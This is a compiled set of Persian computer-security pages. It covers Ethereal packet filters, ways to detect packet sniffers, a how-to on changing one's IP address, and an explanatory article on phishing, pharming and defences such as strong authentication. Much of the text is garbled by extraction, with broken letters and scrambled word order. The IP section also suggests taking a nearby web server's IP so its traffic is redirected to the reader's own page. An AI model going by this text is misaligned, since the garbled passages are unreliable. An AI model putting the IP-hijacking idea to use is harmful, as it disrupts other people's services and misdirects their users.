  : برقرار شده است PPPی مورد استفاده، ارتباط  رابط شبکه. دهد  را نشان میCapture شکل زیر، وضعيت پس از آغاز عمليات     
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د و در مقابل نام آنها تعداد دریافت ان بندی شده ها در خروجی مورد نظر دسته گونه که در شکل نيز مشخص است، انواع پروتکل  همان   
 .شود شده از آن پروتکل درج می

  :شود  ی اصلی نمایش داده می های دریافت شده در پنجره ، فهرستی از بستهCapture پس از قطع عمل    
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ارسال آن، /ی بسته، زمان دریافت این فهرست شامل شماره. اند های دریافت شده، به ترتيب و بر اساس زمان دریافت مرتب شده  بسته   
اند،  تر، نوع بسته و اطلاعاتی که از ابتدای بسته استخراج شده در قسمت پایين. های مبدأ و مقصد و نوع بسته نمایش داده شده است آدرس

 .ی اصلی محتوای خام بسته نمایش داده شده است شود و در قسمت پایين پنجره پورت و دیگر اطلاعات درج میمانند مبدأ و مقصد، 

یی که در آن امکان  شکل زیر صفحه. های آتی ذخيره نمود توان با تعيين قالب مورد نظر برای دسترسی  خروجی به دست آمده را می    
  :دهد   وجود دارد را نشان میذخيره سازی پرونده با تعيين قالب مورد نظر

  

ها در بخش اول  انواع این قالب. دهد افزار را نشان می ی پرونده توسط این نرم های قابل استفاده برای ذخيره  شکل بالا، تعدادی از قالب  
 .اند افزار معرفی شده از بررسی این نرم

   

ارسال شده، با /های دریافت گی جستجو و تحليل در بسته ها و چگونه افزار به روش تعریف فيلتر  در بخش بعدی از بررسی این نرم   
  .های پيشين ذخيره شده، خواهيم پرداخت استفاده از فایل

   

در این بخش،  .  پرداختيمEtherealها، یعنی  ترین آن ، به معرفی یکی از متداول  Snifferدر دو بخش پيشين، ضمن تعریف ابزارهای           
  .پردازیم دست آمده می های به گی انجام تحليل بر اساس خروجی افزار، و چگونه های این نرمFilterه از به معرفی امکان استفاد
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  :افزار، عملاً سه نوع فيلتر قابل تعریف است   در این نرم   

   

  Capture فيلترهای          -١

   فيلترهای نمایش         -٢

   فيلترهای رنگی         -٣

   

یی به شکل زیر  پنجره. کنيم  را انتخاب میCapture Filtersی  ، گزینهCapture، در منوی Captureده از فيلترهای  برای استفا   
  :شود  باز می

   

  

   

صورت گرافيکی ندارد، لذا  افزار برای تعریف فيلتر رابط کاربری به این نرم. کنيم ، فيلتر جدیدی تعریف میNewی   با انتخاب گزینه   
در این مثال، فيلتری به نام . صورت متنی آگاه شد توان از روش تعریف فيلترها به  در پایين همين پنجره، میHelpی  ه از گزینهبا استفاد

Simpleکنيم که توسط آن،   تعریف میEtherealباشد192.168.0.1کند که آدرس فرستنده آن  هایی مبادرت می  تنها به دریافت بسته  .
  کنيم   را آغاز میCaptureاکنون عمل . بندیم م پنجره را میکني فيلتر را ذخيره می
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ی  توان فيلتری را تعریف کرد و یا از فيلترهای تعریف شده  میCapture Filtersگونه در شکل بالا مشخص است، در قسمت   همان   
 192.168.0.1واهد کرد که آدرس مبدأ آنها هایی را دریافت خ  تنها بستهCapture ،Etherealپس از انجام عمل . پيشين استفاده کرد

  .باشد

به این منظور یکی از .  قبلی استفاده کردCaptureهای پيشين و عمليات  توان از خروجی  برای استفاده از فيلترهای نمایشی، می   
  :کنيم  های قبلی را باز می پرونده
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های موجود در آخرین عمل  پس از باز کردن این پرونده، بسته. ه شده استها تهي یی از عمل دریافت بسته عنوان نمونه  این پرونده به  
 :ی اصلی ظاهر خواهند شد  دریافت، در پنجره
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توان به  امترهای زمان دریافت، آدرس مبدأ یا مقصد و نوع پروتکل میها بر اساس یکی از پار بندی بسته ست که برای دسته  طبيعی   
عمل تعریف فيلتر و اعمال آن بر روی . کرد ها، اطلاعات را بر حسب آن ستون مرتب کليک کردن بر روی برچسب هریک از ستون

ها تعریف  ی بسته تری برای مشاهده ط پيچيدهتوان شرو به بيان دیگر، با استفاده از فيلتر می. سازی است اطلاعات، متفاوت از این مرتب
 .کرد

   

توان  کار می برای این. های مورد نظر خود را جدا کنيم افزار، بسته خواهيم با استفاده از تعریف فيلترها نمایش در این نرم  اکنون می   
  ی اصلی تعریف کرد   اصلی، در پنجرهToolbar، پایين Filterفيلتر را مستقيماً در قسمت 

 
  

 را نمایش دهد از نوع 192.168.0.1هایی با مبدأ  کنيد، در این محل، برای تعریف فيلتری که تنها بسته گونه که مشاهده می  همان   
 با یکدیگر (Analyze) و نمایش Captureبه بيان دیگر، زبان تعریف فيلتر برای دو نوع . کنيم دیگری از تعریف فيلتر استفاده می

 .توانيد با هر دو زبان آشنا شوید افزار، می  مراجعه به سایت این نرمبا. متفاوت است

   

با این انتخاب .  در این منو استDisplay Filters و انتخاب Analyze روش دیگر استفاده از فيلترهای نمایش استفاده از منوی    
  :شود   نمایش داده میCapture Filtersی  ای مشابه پنجره پنجره

 

   

با . ایم که زبان تعریف آن همان زبان فيلترهای نمایش است  تعریف کردهSimpleمثال بالا، مجدداً فيلتری، از نوع نمایشی، با نام  در    
 را نمایش 192.168.0.1های با آدرس مبدأ  ی اصلی تنها بسته شود و شکل پنجره ، فيلتر مورد نظر اعمال میApplyی  فشار دکمه
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ی مورد درخواست  روند و استفاده از فيلترها تنها نمایش را به بازه ها در این مرحله از ميان نمی ی بسته  که بقيهباید توجه داشت. دهد می
  .کند کاربر محدود می

   

 Coloring با انتخاب Viewتوان در منوی  این فيلترها را می. افزار، فيلترهای رنگی آن است های مفيد این نرم  از دیگر قابليت   
Rulesی اصلی را پس از تعيين فيلتر  شکل زیر پنجره. زبان و روش تعریف این فيلترها مشابه فيلترهای نمایش است. عریف کرد ت
  دهد   است، نشان می192.168.0.1هایی که آدرس مبدأ آنها   و تغيير رنگ بستهip.src=192.168.0.1رنگی 

 

   

  .زمان استفاده کرد طور هم توان از چند فيلتر رنگی به  طبيعی است که می   

   

توان به جرأت   را میEtherealها متنوع آن است،  افزار که حاکی از قابليت  با توجه به سه قسمت ارایه شده در باب معرفی این نرم   
لازم به ذکر است که این ابزار امکانات دیگری نيز دارد که با .  به حساب آوردSnifferاز سری ابزارهای افزار  مندترین نرم قدرت

  .ها استفاده کنيد توانيد از آن  میStatistics و Analyzeهای  مراجعه به منو
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  ک شبکهي در  Packet Sniffingص يتشخ
  

ن آوری های جد          سترده امن   ي  دن دی در عرصه   ی همه روزه شاهد ابداع ف ن آوری جد   . ميت اطلاعات می باش    ي ای گ داع هر ف ک ی  از  دی اب
ان را ام  ید و از طرف دیمن می نما  یک شبکه ا  یدوار به برپاسازی و نگهداری      يت اطلاعات را ام   يطرف کارشناسان امن   دوار ي گر مهاجم

ه خوبی     ی ن فن آوری های موجود در ا        یخرز از آ  يچراکه آنان ن  . شتری را داشته باشند   يت ب يبه تدارک حملاتی که شانس موفق      ن عرصه ب
ر ا   يل باشد که بسين دليد به همیشا. استفاده خواهند کرد    ادام  ده هستند ي ن عقی اری از کارشناسان فن آوری اطلاعات و ارتباطات ب ی  ، م
اخت           ي ش از کارشناسان امن   يکه دانش مهاجمان ب    ه منطقی ، س ه موق  يت اطلاعات است امکان مقابل س  افته و ب ا ب اری از حملات وجود   يع ب

دارد؟            يچگونه می توان با چ    .( نخواهد داشت    خ در دن ي ک واقعی ن ی ا) . زی مقابله نمود که نسبت به آن شناخت مناسبی وجود ن ای ي ت تل
ا به یجاد و   ی ا  ستميی س یش کارآ یا افزا یوتر و   يل در امر استفاده کامپ    يی که به منظور تسه    يال ه ياری از پتانس  يت اطلاعات است که بس    يامن

وتری عرضه می گردند ، توسط مهاجمان و به منظور يمن سازی شبکه های کامپی حفاظت و ا  در جهت ییعنوان محصولات و ابزارها 
ز ي نpacket sniffingن موضوع در رابطه با یا. ز مورد استفاده قرار خواهند گرفت يوتری نيزی حملات در شبکه های کامپیبرنامه ر

    .صدق می کند 
  
 packet sniffing چيست ؟   
  
ن روش ی در ا.  است   packet sniffingندی موسوم به یک شبکه ، استفاده از فرآین روش های سرقت اطلاعات در یمی تریکی از قدی

ه     يک هائی به منظور تکث    ي از تکن   مهاجمان وده و در ادام تفاده نم ال  ر بسته های اطلاعاتی که در طول شبکه حرکت می کنند ، اس ا آن   زيب
ائی نظ   . ابند یک شبکه آگاهی می ی از وجود اطلاعات حساس در  آنان ه منظور پ  IPSecر ي امروزه پروتکل ه  packetری از يشگي  ب

sniffing                         د سته های اطلاعاتی رمزنگاری می گردن تفاده از آن ب ا اس ه ب س        .  طراحی شده است ک داد ب ادی از  ی ار ز يدر حال حاضر تع
د و هم   یبخش اندکی از داده های مربوطه را رمزنگاری می نما           " ا صرفا یند و   ی استفاده نمی نما    IPSec شبکه ها از تکنولوژی    ن امر  ين

   .  کی از روش های متداول به منظور سرقت اطلاعات باشدی همچنان  packet sniffingباعث شده است که 
  
د  یز ي نnetwork analyzerا ی و network monitor که در برخی موارد از آن به عنوان packet snifferک ی اد می شود ، می توان

سته های اطلاعاتی     ک موجود بر روی شبکه استفاده گردد تا به کمک آن يران شبکه به منظور مشاهده و اشکال زدائی ترافیتوسط مد   ب
ه منظور  ي شناسائی و زم  گلوگاه های حساس شبکه    خطاگونه و  را     نه لازم ب ا ف وثر داده ه ال م ردد   انتق ر ،     . هم گ اده ت ارت س ه عب ک ی ب

packet sniffer    ه از طر سته های اطلاعاتی ک رف یک ای ق ی  تمامی ب ا         ينت د را حمع آْوری ت ش مشخص شده در شبکه ارسال می گردن
ه  packet snifferاز برنامه های " عموما. ز آنان فراهم گردد يامکان بررسی و آنال مقصد   به منظور جمع آوری بسته های اطلاعاتی ب

برنامه های فوق قادر به جمع آوری تمامی بسته های اطلاعاتی قابل حرکت در شبکه صرفنظر از   . ک دستگاه خاص استفاده می گردد   ی
  . ز می باشند يمقصد مربوطه ن

  
لاعات مربوط اط. ک شبکه خواهد بود يز تمامی ترافي در شبکه ، قادر به جمع آوری و آنال packet snifferک یک مهاجم با استقرار ی

ا   ور عموم ام و رمز عب ه ن ولی و " ب تن معم ه صورت م ردد و ا  ب شده ارسال می گ ال  ی رمز ن ا آن ه ب ی است ک دان معن سته های ين ب ز ب
ه جمع آوری اطلاعات         "  صرفا packet snifferک  ی  .نگونه اطلاعات حساس وجود خواهد داشت       یاطلاعاتی ، امکان مشاهده ا     ادر ب ق

ابرا .  مشخص شده است    subnetک ی طلاعاتی درون  مربوط به بسته های ا د    ی   نیبن اجم نمی توان  را در packet snifferک ی ک مه
ت    ید و از آن طر    یشبکه خود نصب نما    تفاده از          يق به شبکه شما دس ه منظور سوء اس ور ب ام و رمز عب ه جمع آوری ن دام ب ا  ابی و اق ر ی س

ر روی  packet snifferک ی ست ی ل به اهداف مخرب خود می با يور ن مهاجمان به منظ .د ی شبکه نما ن های موجود دريماش ک ی  را ب
  . ند یوتر موجود در شبکه اجراء نمايکامپ

  
   packet sniffing  نحوه کار

  
ک شبکه اترنت ، هر زمان که یدر .  به روشی برمی گردد که شبکه های اترنت بر اساس آن کار می کنند packet sniffingنحوه کار 

ن بدان معنی است  یا.  ارسال می گردد broadcastک  ید ، بسته اطلاعاتی به عنوان       ی ارسال می نما    ک بسته اطلاعاتی را   ی  ریوتيکامپ
امپ                  يکه هر کامپ   وده و بجزء ک شاهده نم ا    يوتر موجود در شبکه بسته های اطلاعاتی ارسالی را م ر دستگاه های موجود از     یوتر مقصد س

ت خود را  ي ک نسخه از بسته های اطلاعاتی ارسالی در شبکه، فعال  ی با کپی packet sniffing. کرد  بسته اطلاعاتی صرفنظر خواهند     
  . د یسازماندهی می نما

  
   در شبکه وجود دارد ؟ packet snifferآیا روش هائی به منظور تشخيص وجود یک 

  
ود    packet snifferک یص وجود يتشخ د ب ه ه  .  بر روی شبکه کار آسانی نخواه وق برنام ه صورت    ای ف  در شبکه عمل   passive ب

د ینموده و به سادگی اقدام به جمع آوری بسته های اطلاعاتی می نما              وان وجود                    . ن ائی می ت تفاده از روش ه ا اس خوشبختانه ، امروزه ب
  . ص داد ي را در شبکه تشخpacket snifferک یاحتمالی 
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   در شبکه  packet sniffingروش های تشخيص 

  
سته های اطلاعاتی در                     یک فرد در    ین موضوع که    یص ا يد تشخ ی که اشاره گرد   همانگونه ا حرکت ب ان ب انی محدود و همزم ازه زم ک ب
دازه ای ا     يبا بررسی و آنال. د ، کار مشکلی خواهد بود ی استفاده می نماpacket snifferک یشبکه از  ا ان وان ت ا می ت ن ی ز برخی داده ه

  : ص داد يموضوع را تشخ
  
ه          : ه از امکانات ارائه شده توسط برخی نرم افزارها       استفاد  ند ممکن است از برنام ابع محدودی باش ان دارای من ه مهاجم در صورتی ک

اربردی  رای  Network Monitorک تفاده نما packet sniffing ب د ی اس دود از ی. ن سخه مح راه Network Monitorک ن ه هم  ب
دوز یو ل از آن ی   و٢٠٠٠ و NTن سخه کام راه ک ن ه هم ده است  SMS Serverب ه ش وق ، گز.  ارائ ه ف رای  یبرنام ه ای مناسب ب ن

ه اهداف خود دست           یمهاجمانی است که می خواهند در کوتاه تر        تفاده از آن در مقا         ین زمان ب ه اس د چراک ا    ی ابن ا س رم افزارهای     یسه ب ر ن
سادگی از اجرای ا         . مشابه راحت تر است       وان ب ه توس  ی خوشبختانه می ت ا ن برنام اربران در  یط س اهی   ی ر ک د . افت  یک شبکه ، آگ ن یب

  .  را انتخاب نمود  Identify Network Monitor Usersنه ی گزTools  ق منوییمنظور کافی است از طر
  

ده یبررسی سرو ان از  : DNSس دهن ه مهاجم راییدر صورتی ک ده ب ه ش زار ارائ رم اف تفاده  packet sniffing  کی از صدها ن  اس
د ، ینما شخن ه یص سري امکان ت د برنام د داشت   Network Monitorع آن همانن ته باش.  وجود نخواه ه يتوجه داش  ک روش صدید ک
ائی خاص می         packet sniffingک برنامه یص وجود ينی به منظور تشخيرصد تضمد شانه ه شاهده ن ا م ی ب  در شبکه وجود ندارد ول

ال وجود    وان احتم شخ  در شبکه را  packet sniffing  ت ا . ص داد ي ت ر یش شانه وجود   ید بهت ه    در شبکه  packet sniffingک ی ن ن  ب
ده    یسرو.  برگردد   DNSس دهنده   یبانک اطلاعاتی سرو   ه منظور              ي وظ DNSس دهن ه جستجو در بانک اطلاعاتی ب ام    ی ف  و  hostافتن ن

اجمی   .  مربوطه را بر عهده دارد IPبرگرداندن آدرس  ه مه ه اسامی   ی  را اجراء نما  packet sniffingک ی در صورتی ک  را hostد ک
ه فرآ ي، ماش ) ن کاری را انجام می دهند ياکثر آنان چن( ش می دهد ینما د  ینی ک د     packet sniffingن ام می ده الا از   ی  را انج ک حجم ب

 را DNS lookupsادی درخواست های   ی نی را که تعداد زيد ماشيدر مرحله اول سعی نمائ. د ی را اجراء می نماDNSدرخواست های 
  packet sniffing به تنهائی نشاندهنده DNS lookupن که وجود حجم بالائی از درخواست های یبا ا. د يانجام می دهد ، بررسی نمائ

ن خاص در شبکه مشکوک    يک ماش یدر صورتی که به . نه مطرح گردد ين زمینمی باشد ولی می تواند به عنوان نشانه ای مناسب در ا           
وق    يماش . د  يکربندی و آماده نمائ   ين طعمه را پ   يک ماش ید  يعی نمائ د ، س  یشده ا  امپ  ی ن ف اربران از وجود آن          يک ک ه ک وتر شخصی است ک

وده یک بر روی شبکه را ايک حجم بالا ی ترافیوترها به شبکه ، ين نوع کامپ  یپس از اتصال ا   . آگاهی ندارد    ام     جاد نم وازات انج ه م  و ب
ه آ       ي ررسی نمائ   را ب  DNSن کار درخواست های       یا ردد ک ا مشخص گ ر روی ماش  DNSک درخواست  ی ن مشکوک  يا ماش ی د ت ن ي را ب

   است packet sniffingن ين مشکوک همان ماشينان گفت که ماشي اطم ن است می توان باينچنیدر صورتی که ا. طعمه انجام می دهد 
  
  

دازه گ ان پاسخ ماشيان ای مشکوک يری زم دایکی دی: ن ه ای مت ه از گر از روش ه رادی ک ائی اف رای شناس  packet sniffingول ب
وق  . ن مشکوک است      يری زمان پاسخ ماش   ي گ  ند ، اندازه  یاستفاده می نما   ستلزم دقت ز      روش ف دازه ای غ     ی  م ا ان ئن است    ري اد و ت . مطم

ه    ير داشته باش     بخاط   .ری مدت زمان پاسخ استفاده می شود        ين مشکوک به منظور اندازه گ     ي ماش Pingن منظور از دستور     یبد ردی ک د ف
زا          packet sniffingات يعمل ه حجم اطلاعات اف رد ، چراک د ک ی نخواه سته های اطلاعاتی را کپ د  ی را انجام می دهد تمامی ب ش خواه
ه خود را تکث        " لتر مناسب، صرفا  يک ف یف  یآنان با تعر  . افت  ی د  یر می نما ي بسته های اطلاعاتی مورد علاق رای تائ   ي نظ(ن ه ب انی ک  دي ر آن

ام داده و  log out و log inات ي ن مرتبه عملید که چندين از تعدادی از همکاران خود بخواهیبنابرا) . کاربران استفاده می گردد   را انج
امپ      ين وضع ين هم یدر ا  ان پاسخ ز     . د  ي وتر مشکوک را محاسبه نمائ      يت مدت زمان پاسخ ک ه مدت زم د ، آن  يي اد تغی در صورتی ک ر نکن
ردد ، ا          packet sniffingات ي لعم" ن احتمالايماش د گ ان پاسخ کن ه زم ی در صورتی ک د ول ام نمی ده د    ی  را انج ال وجود خواه ن احتم

  . ن مشکوک شناسائی شده باشديداشت که ماش
  

تفاده از ابزارهای مختص   ه طراحی و پ   : AntiSniffاس دام ب ددی اق ه منظور رد ي شرکت های متع ائی ب رم افزاره ابی و یاده سازی ن
ائ  د    packet sniffingی شناس وده ان ا       .  نم وق از روش های اشاره شده و س ه های ف ه منظور شناسائی       ریبرنام  روش های موجود ب

packet sniffing ند یک شبکه استفاده می نمای در . 
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 ٦٧٩    صفحه

  خود را عوض کنيم؟IP چگونه    
 
نترنت وصل  یهر موقع که به ا .نيعوض کن Range همون دیگه از IP  یکخودتون را با  IP آموزش می دیم چه جوری قسمتن یدر ا
د يص ميتخص IP  کیبه شما  DHCP  شوید، پروتکل یم دان سخت    IP ن ی عوض کردن ا   .ده ار چن ه م ي  نیک ه مف يست و البت م  ي تون د ه

ه   کی  درخواستها به ی تماميدخواهي که میا  وقتی!! ن يهست DOSو یا   DDoS که شما تحت حمله ی مثلا موقع !باشه  وب سرور رو ب
سته شده و م    IP که یا فرضاً وقتی! ) این به درد ما ميخورد ( ن يکن Redirect طرف خودتون  ا  یخوا ي شما ب ه ج   IP یک  اون از ین ب

  !!!!!!من چه ميدونم دیگه ... د و دا ميکنيي  احتياج پ IPر دادن ييبه تغ ...ا ین و يخودتون استفاده کن  Rangeگه در ید
 

  :از يمورد ناطلاعات 
 

 شما   IPمحدوده   : ن اطلاعات عبارتند از یا .ني اطلاعات جمع کنی سریکد ین، باي خودتون رو عوض کن IPد ينکه شما بتوانیقبل از ا
 ، Subnet Mask مدخل ،(Gateway) ده ، سرور یش گزي پDHCP ی و سرورها DNS.   
 
   . باشه 24.193.110.255شما  IPد يفرض کن !ستياصلاً سخت ن IP Rangeبدست اوردن (IP )  :  به دست اوردن محدوده -١
  

  :ن يد خودتون انتخاب کنیجد IP یر براین به طور مشخص از محدوده زيتوني شما م
  

24.193.110.1 < [ دی جدی پیآ ] < 24.193.110.255           
 
ان   یک  ! ست  نها هم ساده ایبه دست اردون اDNS : و  DHCP ، مدخل، سرور Subnet Maskوردن به دست آ -٢  DOS  خط فرم

  :د ينين ببیه به اي شبیزي چیک يدناد بتویشما حالا با   ipconfig /all يد پ کنین و توش تايباز کن
  

Host Name . . . . . . . . . . . . : My Computer Name Here 
Primary Dns Suffix . . . . . . . : 
Node Type . . . . . . . . . . . . : Unknown 
IP Routing Enabled. . . . . . . . : No 
WINS Proxy Enabled. . . . . . . . : No 
 
Ethernet adapter Local Area Connection: 
 
Connection-specific DNS Suffix . : xxxx.xx.x 
Description . . . . . . . . . . . : NETGEAR FA310TX Fast Ethernet Adapter (NGRPCI) 
Physical Address. . . . . . . . . : XX-XX-XX-XX-XX-XX 
Dhcp Enabled. . . . . . . . . . . : Yes 
Autoconfiguration Enabled . . . . : Yes 
IP Address. . . . . . . . . . . . : 24.xxx.xxx.xx 
Subnet Mask . . . . . . . . . . . : 255.255.240.0 
Default Gateway . . . . . . . . . : 24.xxx.xxx.x 
DHCP Server . . . . . . . . . . . : 24.xx.xxx.xx 
DNS Servers . . . . . . . . . . . : 24.xx.xxx.xxx 
24.xx.xxx.xx 
24.xx.xxx.xxx 
Lease Obtained. . . . . . . . . . : Monday, January 20, 2003 4:44:08 PM 
Lease Expires . . . . . . . . . . : Tuesday, January 21, 2003 3:43:16 AM 

  
ان     . نياز داشتي بود که نیم اطلاعاتان تمیا ! خوب ره اون خط فرم ن     DOS بهت از نگه داری  .ني کن ینکه اطلاعات آن را کپ   یا ای رو ب

  )نيک کنيکبار روش کلین و ي کردن، متن رو انتخاب کنی کپیبرا(
 
ه نظر من     ) ادتون نره که تو محدوده باشهی! ( ن يانتخاب کن IPک ید ی خودتون، اول با IP عوض کردن ی برا : IP عوض کردن -٣ ب

ه  ينگ کن  يپ) که انتخاب کردی   ( را  IPن یا) ! د مُردهیجد IPن ین که ايبهتره اول مطمئن بش ئن باش   Time Out ن و اگ ه  يداد مطم ن ک
 .نيک کني فعال دابل کل Connection ی و رو Network Connectionsد به ی بر Control Panelحالا در  .شه ازش استفاده کرديم
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 ٦٨٠    صفحه

ه   زن  Properties  دکم ه   ی ن و بريرا ب ه برگ ه  يرا انتخاب کن   ( Internet Protocol TCP/IP) حالا   .Networking د ب ن و دکم
Properties سمتها یدیدر پنجره جد .دي را بزن  Use the following DNSو  Use the following IP address  ی که باز شده، ق

server   addresses در قسمت اول ،  .دين پر کنیبه دست اورد ٢ که در قسمت ی را با توجه به اطلاعاتIP د ی  رو که انتخاب کرد ی ا
IP ) و در قسمت دوم، آدرس  )دی جد DNS Server ده ک مي ه تست کوچیفقط  .نيد کنیيرات رو ثبت و تأييحالا تغ .ني را وارد کن  ! ون

ون، آدرس    ا ی در مرورگر خودت ا    .دي ت را وارد کنیه س ه صفحه س دون  یاگ د، ب ا   يت اوم ه ب ار م ی د داری  جد IPن ک را  .دي کنين ک نکه  ی ایب
ه پس از اجرا    ip config /all ن يپ کن ی تا DOS رات اعمال شدن، دوباره در خط فرمان يين که تغيمطمئن بش و  IPن دستور،  ی  ایاگ

DNS دین که درست عمل کردي بدوند،یدید رو دیجد:  
 
 

ش  یک   و خودتون یداون رو بدزد IP  يدناتوي، مد وب سرور قرار داریکشما  IP ن که در محدوده يدونياگه شما م ه   ! ني وب سرور ب ب
ه شما    IP اون ی که برایا DNS ب هر درخواست ين ترتیا ا  ي م Redirect ارسال بشه، ب ه ج ا یشه و ب شون    ی اون س ت، صفحه شما ن

  !شهيداده م
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 ٦٨١    صفحه

phishing   يا دزدی هويت!  
  
  

  .رویکردهای جدید امنيتی را طلب می کند تهدیدهای جدیدی که هویت و اطلاعات کاربر را هدف قرار داده اند،
ند                 روی خط تر از تهدیدهای      ساده تر و کم خطر     phishingامروزه، حملات    ه نظر می رس ه شدن هستند، ب ه در حال تجرب حملات  .  ک

phishing                داخت ار ان دگی        .  به آسانی شناخته می شوند و می توان به سرعت آنها را از ک ن حد گذشته و پيچي ه از ای جرائم سازمان یافت
ه          زکاربران با اشکال مو    امروزه،  . آنها به طرز چشم گيری افزایش یافته است        ه علي ه مواجه می شوند و کشف و مقابل ری از حمل ه ت یان

  .آنها بسيار مشکل تر است
   

   :گونه ای جدید از حمله
  

 بجای اینکه کاربر را گول بزند تا به یک ایميل تقلبی پاسخ دهد تا pharming.  شناخته می شود   pharmingاین گونه جدید حمله بعنوان      
سليم هویت و اطلاعات حساس               سایت جعلی هدایت     او را به یک وب     رای ت اربر ب ه    او کند، برای فریب دادن ک ، از روش های زیرکان

خوان و برنامه های هدایت کننده استفاده می         برای نصب برنامه های کليد    ) تروجان(این حملات از اسب های تروا       . تری استفاده می کند   
اری        ت عبور و شماره کنند تا به یک نفوذگر اجازه دهند کلما   ام ک ه انج ور ب اربر مجب کارت های اعتباری را بدست آورد، بدون اینکه ک

  :در اینجا دو مثال از نحوه این حمله آورده شده است. غيرعادی باشد
  
د   -١ ن فا .  کاربر یک ایميل ظاهراً صحيح را باز می کند که او را تشویق می کند تا فایل الحاقی به ایميل را باز کن ل الحاقی بصورت    ای ی

د                  برنامه ای است که کليد    (» خوان کليد«مخفيانه یک    اربر زده می شود، ثبت می کن د     ) هایی را که توسط ک ه   . نصب می کن هنگامی ک
ه وی اسم و                      کاربر به بانک آنلاین خود سر می زند، کليد         خوان این را تشخيص می دهد و ورودی های صفحه کليد کاربر را هنگامی ک

تفاده        . ثبت می کند را تایپ می کند، کلمه عبور    اربر اس ه حساب ک رای دسترسی ب ا ب سپس این اطلاعات برای نفوذگر ارسال می شود ت
  . شود

   

  
   
ه حاوی    -٢ دایت  « است، سهواً یک    ActiveX control یک کاربر ممکن است با دانلود کردن یک فایل یا مشاهده یک وب سایت ک ه

ی شود و                            . سيستم خود نصب کند   را روی   ) redirector(» کننده ستم دچار تغييرات ل های موجود در سي ه فای ار باعث می شود ک ن ک ای
 DNSاین عمل می تواند با مسموم کردن سرور     . هنگامی که کاربر به بانک آنلاین خود سر می زند، به وب سایت نفوذگر هدایت شود               

اربر،            ن ک تد       وب سایت ن    IPانجام گيرد که برای آدرس بانک آنلای وذگر را می فرس ا بانک          . ف اط را ب د ارتب ر می توانن ده ت حملات پيچي
اربر و بانک      ين ک وری ب ام است، ترافيک عب ه پروسه در حال انج امی ک د و هنگ رار کنن اربر برق ور و اطلاعات (ک ات عب شامل کلم

   .در اصل نفوذگر خود را بين کاربران و بانک قرار می دهد. را مشاهده کنند) شخصی
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 ٦٨٢    صفحه

  
  

  می توان کرد؟چه 
 

ارد مرزی            وم گ شابه مفه ه شده است، م وع از حملات بکار گرفت ) Boarder Guard(از نظر تاریخی، رویکرد امنيتی که برای این ن
د            . بوده است  د بگيری ه مکان های ب تن ب اربر را از رف وی ک د و جل د   . ورود موارد زیان رسان را به کامپيوتر متوقف کني ایی مانن ابزاره

ه رشد          . جاسوس، فایروال ها و تشخيص دهندگان نفوذ، همگی چنين رویکردی دارند           ، ضد آنتی ویروس  به هرحال، همچنانکه حملات ب
ارد  خود ادامه می دهند و پيچيده تر می شوند، نمی توان از احتمال نصب شدن موفقيت آميز یک کليد                خوان یا هدایت کننده عليرغم این گ

  .های مرزی، غافل ماند
   

  
   

از است              برای   ورد ني ه              . سروکار داشتن با این احتمال، رویکرد متفاوت دیگری م از است ک ت، ني ا رف ه ذکر آنه ایی ک ر ابزاره علاوه ب
دون      . مراقبت شود) body guard( محافظ شخصی  هویت و اطلاعات کاربران توسط ه هویت و اطلاعات شخص ب یعنی، نياز است ک

ا              ه اطلاع ه و جایی ک وع حمل د             در نظر گرفتن ن اقی بمان واره امن ب ا می رود، هم ه آنج اربر ب وع امنيت قابليت های محافظ       . ت ک ن ن ای
خوان نصب شده است و  شخصی را برای هویت کاربر ایجاد می کند و اهميتی ندارد که اطلاعات کاربر به کجا فرستاده می شود و کليد                  

  . یا اینکه نفوذگر می تواند ترافيک اینترنت را نظارت کند
  

د       دو قا اده کن صی را پي افظ شخ ن مح ایی ای د توان ی توان ه م ود دارد ک ی وج ت امنيت وی   . بلي ت ق صدیق هوی ی ت  strong(اول
authentication (ادی                 او امروزه، کاربران عموماً برای محافظت از هویت      . است ال زی ا احتم د، ام  به یک کلمه عبور اطمينان می کنن

ه نظاره       ده شود   login گر  وجود دارد که کلمه عبور توسط کسی ک ی         .  است، دزدی ت، یعن رای تصدیق هوی داشتن یک عامل اضافی ب
ه محافظت                                   ر حمل ن را در براب د یک هویت آنلای د، می توان چيزی که کاربر باید بصورت فيزیکی داشته باشد علاوه بر آنچه که می دان

م       . پرداز بانک است این کار قابل مقایسه با چگونگی تأیيد هویت کاربران در ماشين های خود          . کند د و ه انکی دارن ارت ب م ک اربران ه ک
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PIN   ه عامل فيزیکی                    با تصدیق هویت قوی، اگر کليد     .  را می دانند رد و ن ور را بگي ه عب ا کلم د تنه خوان هم نصب شده باشد، می توان
ه حساب   کلمه عبور به تنهایی و بدون فاکتور فيزیکی نمی تواند تو. استفاده شده در پروسه تصدیق هویت را       سط نفوذگر برای دسترسی ب

  .کاربر مورد استفاده قرار گيرد
  

ه       )  SSL )Secure Socket Layerامروزه،  . توانایی مهم دوم رمزنگاری مداوم است  اربران بگون از اطلاعات ارسال شده توسط ک
ه راحتی    .  محافظت می کند که انگار تنها به سرور هدف ارسال می شوند         ای د، ب برای مثال، اگر یک کاربر کلمه عبور خود را وارد کن

ان         . تا زمان رسيدن به و ب سرور در طرف دیگر، قابل مشاهده است             وذگر پای در مورد یک حمله هدایت کننده، ارتباط امن در سایت نف
رد      به سازمان آنلاین قانونی ارسال شود، دیتامی پذیرد و قبل از اینکه   رار می گي شاء ق ستمر می    . ی کاربر در معرض اف رمزنگاری م

اربر رمز می شوند و می                  . تواند از دیتا ،بدون در نظر گرفتن امنيت ارتباط، محافظت کند           امپيوتر ک ورودی های کاربر قبل از ترک ک
 حتی اگر دیتا به این سرور نرسد، رمز  . ی طرف دیگر دسترسی دارد، رمزگشایی شوندتوانند تنها توسط سازمان قانونی که به سرورها 

 .شده باقی خواهد ماند و برای یک نفوذگر قابل استفاده نيست
   

  
   

اینترنت !  هم، می توانند نقش محافظ شخصی را برای محافظت از هویت و اطلاعات کاربر در دنيای خصمانه همراهاین دو قابليت به
  .ء کنندایفا

   
  بررسی دنيای واقعی

  
ابی                      ای واقعی اینترنت ارزی تفاده از نيازهای دني چند انتخاب وجود دارند که می توانند امنيت محافظ شخصی را فراهم کنند اما باید با اس

ذیرفت     چنانچه کاربر با یک تکنولوژی احساس راحتی نکند،         . شوند ران باشد،         ا. آن را نخواهد پ ی گ وژی خيل اربر       گر تکنول رای ک ه ب  ن
وژی     .انتهایی قابل تهيه خواهد بود و نه برای سازمان مربوطه          چندین عامل وجود دارد که باید به هنگام تشویق کاربران به پذیرش تکنول

  :مورد نظر مورد توجه قرار گيرند
  

